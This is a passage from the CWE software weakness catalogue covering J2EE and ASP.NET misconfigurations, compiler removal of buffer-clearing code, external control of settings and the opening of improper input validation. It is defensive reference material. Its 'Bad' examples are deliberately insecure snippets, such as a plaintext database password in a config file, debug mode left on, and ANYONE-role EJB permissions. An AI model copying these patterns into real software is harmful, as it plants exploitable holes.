MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	965	SFP Secondary Cluster: Insecure Session Management	888	2403
MemberOf	C	1414	Comprehensive Categorization: Randomness	1400	2543

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Insufficient Session-ID Length

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
59	Session Credential Falsification through Prediction

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-482]Zvi Gutterman. "Hold Your Sessions: An Attack on Java Session-id Generation". 2005 February 3. < <https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/gm05.pdf> >.2023-04-07.

CWE-7: J2EE Misconfiguration: Missing Custom Error Page

Weakness ID : 7

Structure : Simple

Abstraction : Variant

Description

The default error page of a web application should not display sensitive information about the product.

Extended Description

A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.

When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		756	Missing Custom Error Page	1579

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>A stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.</i>	

Potential Mitigations

Phase: Implementation

Handle exceptions appropriately in source code.

Phase: Implementation

Phase: System Configuration

Always define appropriate error pages. The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.

Phase: Implementation

Do not attempt to process an error or attempt to mask it.

Phase: Implementation

Verify return values are correct and do not supply sensitive information about the system.

Demonstrative Examples

Example 1:

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Example Language: Java

(Bad)

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		2	7PK - Environment	700	2308
MemberOf		728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	2337
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf		1405	Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions	1400	2531

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Missing Error Handling

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-65]M. Howard, D. LeBlanc and J. Viega. "19 Deadly Sins of Software Security". 2005 July 6. McGraw-Hill/Osborne.

CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote

Weakness ID : 8

Structure : Simple

Abstraction : Variant


Description

When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1469

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

Potential Mitigations

Phase: Implementation

Declare Java beans "local" when possible. When a bean must be remotely accessible, make sure that sensitive information is not exposed, and ensure that the application logic performs appropriate validation of any data that might be modified by an attacker.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.




Example Language: XML

(Bad)

```
<ejb-jar>
  <enterprise-beans>
    <entity>
      <ejb-name>EmployeeRecord</ejb-name>
      <home>com.wombat.empl.EmployeeRecordHome</home>
      <remote>com.wombat.empl.EmployeeRecord</remote>
      ...
    </entity>
    ...
  </enterprise-beans>
</ejb-jar>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		2	7PK - Environment	700	2308
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf		1403	Comprehensive Categorization: Exposed Resource	1400	2528

Notes

Other

Entity beans that expose a remote interface become part of an application's attack surface. For performance reasons, an application should rarely use remote entity beans, so there is a good chance that a remote entity bean declaration is an error.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Unsafe Bean Declaration
Software Fault Patterns	SFP23		Exposed Data

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods

Weakness ID : 9

Structure : Simple

Abstraction : Variant

Description

If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the product.

Extended Description

If the EJB deployment descriptor contains one or more method permissions that grant access to the special ANYONE role, it indicates that access control for the application has not been fully thought through or that the application is structured in such a way that reasonable access control restrictions are impossible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		266	Incorrect Privilege Assignment	638

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Follow the principle of least privilege when assigning access rights to EJB methods. Permission to invoke EJB methods should not be granted to the ANYONE role.

Demonstrative Examples

Example 1:

The following deployment descriptor grants ANYONE permission to invoke the Employee EJB's method named getSalary().

Example Language: XML

(Bad)

```
<ejb-jar>
...
<assembly-descriptor>
  <method-permission>
    <role-name>ANYONE</role-name>
    <method>
      <ejb-name>Employee</ejb-name>
      <method-name>getSalary</method-name>
    </method-permission>
  </assembly-descriptor>
...
</ejb-jar>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		2	7PK - Environment	700	2308
MemberOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2335
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf		901	SFP Primary Cluster: Privilege	888	2386
MemberOf		1396	Comprehensive Categorization: Access Control	1400	2519

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Weak Access Permissions

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-11: ASP.NET Misconfiguration: Creating Debug Binary

Weakness ID : 11

Structure : Simple

Abstraction : Variant

Description

Debugging messages help attackers learn about the system and plan a form of attack.

Extended Description

ASP .NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		489	Active Debug Code	1171

Applicable Platforms

Language : ASP.NET (Prevalence = Undetermined)

Background Details

The debug attribute of the <compilation> tag defines whether compiled binaries should include debugging information. The use of debug binaries causes an application to provide as much information about itself as possible to the user.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>Attackers can leverage the additional information they gain from debugging output to mount attacks targeted on the framework, database, or other resources used by the application.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: System Configuration

Avoid releasing debug binaries into the production environment. Change the debug mode to false when the application is deployed into production.

Demonstrative Examples

Example 1:

The file web.config contains the debug mode setting. Setting debug to "true" will let the browser display debugging information.

Example Language: XML

(Bad)




```
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <system.web>
    <compilation
      defaultLanguage="c#"
      debug="true"
    />
    ...
  </system.web>
</configuration>
```

Change the debug mode to false when the application is deployed into production.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	2308
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339

Nature	Type	ID	Name	V	Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf		1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2493
MemberOf		1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			ASP.NET Misconfiguration: Creating Debug Binary

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page

Weakness ID : 12

Structure : Simple

Abstraction : Variant


Description

An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		756	Missing Custom Error Page	1579

Applicable Platforms

Language : ASP.NET (*Prevalence = Undetermined*)

Background Details

The mode attribute of the <customErrors> tag defines whether custom or default error pages are used.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>Default error pages gives detailed information about the error that occurred, and should not be used in production environments. Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.</i>	

Potential Mitigations

Phase: System Configuration

Handle exceptions appropriately in source code. ASP .NET applications should be configured to use custom error pages instead of the framework default page.

Phase: Architecture and Design

Do not attempt to process an error or attempt to mask it.

Phase: Implementation

Verify return values are correct and do not supply sensitive information about the system.

Demonstrative Examples

Example 1:

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used.

In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Example Language: ASP.NET

(Bad)

```
<customErrors mode="Off" />
```

A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

Example Language: ASP.NET

(Good)

```
<customErrors mode="RemoteOnly" />
```

Another secure option is to set the mode attribute of the <customErrors> tag to use a custom page as follows:





Example Language: ASP.NET

(Good)

```
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		2	7PK - Environment	700	2308
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf		1405	Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions	1400	2531

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			ASP.NET Misconfiguration: Missing Custom Error Handling

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-65]M. Howard, D. LeBlanc and J. Viega. "19 Deadly Sins of Software Security". 2005 July 6. McGraw-Hill/Osborne.

[REF-66]OWASP, Fortify Software. "ASP.NET Misconfiguration: Missing Custom Error Handling". < http://www.owasp.org/index.php/ASP.NET_Misconfiguration:_Missing_Custom_Error_Handling >.

CWE-13: ASP.NET Misconfiguration: Password in Configuration File

Weakness ID : 13

Structure : Simple

Abstraction : Variant

Description

Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		260	Password in Configuration File	629

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Implementation

Credentials stored in configuration files should be encrypted, Use standard APIs and industry accepted algorithms to encrypt the credentials stored in configuration files.

Demonstrative Examples

Example 1:

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database, but the pair is stored in plaintext.

Example Language: ASP.NET

(Bad)

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	2308
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2493
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			ASP.NET Misconfiguration: Password in Configuration File

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-103]Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using DPAPI". < [https://learn.microsoft.com/en-us/previous-versions/msp-n-p/ff647398\(v=pandp.10\)?redirectedfrom=MSDN](https://learn.microsoft.com/en-us/previous-versions/msp-n-p/ff647398(v=pandp.10)?redirectedfrom=MSDN) >.2023-04-07.

[REF-104]Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using RSA". < [https://learn.microsoft.com/en-us/previous-versions/msp-n-p/ff650304\(v=pandp.10\)?redirectedfrom=MSDN](https://learn.microsoft.com/en-us/previous-versions/msp-n-p/ff650304(v=pandp.10)?redirectedfrom=MSDN) >.2023-04-07.

[REF-105]Microsoft Corporation. ".NET Framework Developer's Guide - Securing Connection Strings". < [http://msdn.microsoft.com/en-us/library/89211k9b\(VS.80\).aspx](http://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx) >.

CWE-14: Compiler Removal of Code to Clear Buffers

Weakness ID : 14

Structure : Simple

Abstraction : Variant

Description

Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."

Extended Description

This compiler optimization error occurs when:


1. Secret data are stored in memory.
2. The secret data are scrubbed from memory by overwriting its contents.

3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		733	Compiler Optimization Removal or Modification of Security-critical Code	1562

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Memory Bypass Protection Mechanism <i>This weakness will allow data that has not been cleared from memory to be read. If this data contains sensitive password information, then an attacker can read the password and use the information to bypass protection mechanisms.</i>	

Detection Methods

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Potential Mitigations

Phase: Implementation

Store the sensitive data in a "volatile" memory location if available.

Phase: Build and Compilation

If possible, configure your compiler so that it does not remove dead stores.

Phase: Architecture and Design

Where possible, encrypt sensitive data that are used by a software system.

Demonstrative Examples

Example 1:

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using `memset()`.

Example Language: C

(Bad)

```
void GetData(char *MFAddr) {
    char pwd[64];
    if (GetPasswordFromUser(pwd, sizeof(pwd))) {
        if (ConnectToMainframe(MFAddr, pwd)) {
            // Interaction with mainframe
        }
    }
    memset(pwd, 0, sizeof(pwd));
}
```

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to `memset()` will be removed as a dead store because the buffer `pwd` is not used after its value is overwritten [18]. Because the buffer `pwd` contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to `memset()` as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	2308
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2338
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2350
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2381
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1398	Comprehensive Categorization: Component Interaction	1400	2524

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Insecure Compiler Optimization

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Sensitive memory uncleared by compiler optimization
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
CERT C Secure Coding	MSC06-C		Be aware of compiler optimization when dealing with sensitive data
Software Fault Patterns	SFP23		Exposed Data

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-124]Michael Howard. "When scrubbing secrets in memory doesn't work". BugTraq. 2002 November 5. < <http://cert.uni-stuttgart.de/archive/bugtraq/2002/11/msg00046.html> >.

[REF-125]Michael Howard. "Some Bad News and Some Good News". 2002 October 1. Microsoft. < [https://learn.microsoft.com/en-us/previous-versions/ms972826\(v=msdn.10\)](https://learn.microsoft.com/en-us/previous-versions/ms972826(v=msdn.10)) >.2023-04-07.

[REF-126]Joseph Wagner. "GNU GCC: Optimizer Removes Code Necessary for Security". Bugtraq. 2002 November 6. < <https://seclists.org/bugtraq/2002/Nov/266> >.2023-04-07.

CWE-15: External Control of System or Configuration Setting

Weakness ID : 15

Structure : Simple

Abstraction : Base

Description

One or more system settings or configuration elements can be externally controlled by a user.

Extended Description

Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1364
ChildOf		642	External Control of Critical State Data	1414

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2425

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		371	State Issues	2321

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	20

Applicable Platforms

Technology : Not Technology-Specific (*Prevalence = Undetermined*)

Technology : ICS/OT (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phase: Implementation

Phase: Architecture and Design

Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.

Phase: Implementation

Phase: Architecture and Design

In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of the attacker.

Demonstrative Examples

Example 1:

The following C code accepts a number as one of its command line parameters and sets it as the host ID of the current machine.

Example Language: C

(Bad)

```
...
sethostid(argv[1]);
...
```

Although a process must be privileged to successfully invoke `sethostid()`, unprivileged users may be able to invoke the program. The code in this example allows user input to directly control the value of a system setting. If an attacker provides a malicious value for host ID, the attacker can misidentify the affected machine on the network or cause other unintended behavior.

Example 2:

The following Java code snippet reads a string from an `HttpServletRequest` and sets it as the active catalog for a database Connection.

Example Language: Java

(Bad)

```
...
conn.setCatalog(request.getParameter("catalog"));
...
```

In this example, an attacker could cause an error by providing a nonexistent catalog name or connect to an unauthorized portion of the database.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		994	SFP Secondary Cluster: Tainted Input to Variable	888	2417
MemberOf		1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2493
MemberOf		1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2505
MemberOf		1403	Comprehensive Categorization: Exposed Resource	1400	2528

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Setting Manipulation
Software Fault Patterns	SFP25		Tainted input to variable

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
13	Subverting Environment Variable Values
69	Target Programs with Elevated Privileges
76	Manipulating Web Input to File System Calls
77	Manipulating User-Controlled Variables
146	XML Schema Poisoning
176	Configuration/Environment Manipulation
203	Manipulate Registry Information
270	Modification of Registry Run Keys
271	Schema Poisoning
579	Replace Winlogon Helper DLL

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-20: Improper Input Validation

Weakness ID : 20

Structure : Simple

Abstraction : Class

Description

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Extended Description

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.)

Input validation can be applied to:

- raw data - strings, numbers, parameters, file contents, etc.
- metadata - information about the raw data, such as headers or size

